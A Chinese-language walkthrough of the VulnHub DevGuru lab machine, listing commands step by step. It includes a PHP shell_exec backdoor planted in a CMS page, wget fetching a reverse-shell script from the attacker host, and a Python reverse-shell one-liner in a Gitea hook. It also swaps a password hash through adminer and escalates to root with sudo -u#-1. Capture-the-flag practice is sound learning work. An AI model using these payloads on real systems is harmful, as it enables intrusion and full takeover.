今天实践的是vulnhub的devguru镜像,
下载地址,https://download.vulnhub.com/devguru/devguru.ova.7z,
用workstation导入成功,直接拿到地址,
进行端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.58.141,
扫描到的192.168.58.141:80/.git和http://devguru.local:8585很有用,
先用gitdumper对git进行爆破,
git clone https://github.com/arthaud/git-dumper.git,
cd git-dumper,mkdir backup,
python3 git_dumper.py http://192.168.58.141:80/.git/ backup,
cd backup,看到个adminer.php,浏览器访问一下,
继续从其它文件中获取信息,cd config,
cat database.php得到数据库访问信息,
登录后找到一个账号记录frank,
根据密码hash的特征猜测是bcrypt方式,找个在线的bcrypt站点,
给自己的密码password生成hash值,
把生成的hash值替换掉frank的密码,
就能用frank/password登录http://192.168.58.141/backend/backend/auth/signin了,登录后找到可以提交代码的页面,Code里贴上,
function onStart()
{
$this->page["myVar"] = shell_exec($_GET['cmd']);
}
Markup里贴上,{{ this.page.myVar }},
保存后,访问http://192.168.58.141?cmd=ls试试效果,
下载一个php的反弹shell脚本,https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php,改好信息,
kali攻击机上做个http下载,python2 -m SimpleHTTPServer,
执行http://192.168.58.141?cmd=wget http://192.168.58.131:8000/php-reverse-shell.php,
kali攻击机上开个反弹shell监听,nc -lvp 4444,
访问http://192.168.58.141/php-reverse-shell.php,
kali攻击机上拿到反弹shell,不是root,先转成交互式的,
从/var/backups/app.ini.bak里发现账户信息gitea/UfFPTF8C8jjxVF2m,
再次登录http://192.168.58.141/adminer.php,再次把密码换掉,
就能用frank/password登录http://192.168.58.141:8585/user/login了,
登录后找到可以提交代码的页面,http://192.168.58.141:8585/frank/devguru-website/settings/hooks/git/pre-receive,提交代码,
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.58.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',
kali攻击机上开个反弹shell监听,nc -lvp 1234,
为了让反弹shell发生,假装编辑一下readme并提交,
kali攻击机上拿到反弹shell,sudo -l发现sqlite3是root执行的,搜一下提权方法,
最后靠sudo的版本漏洞找到最终的提权命令,
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh',id看一下是root,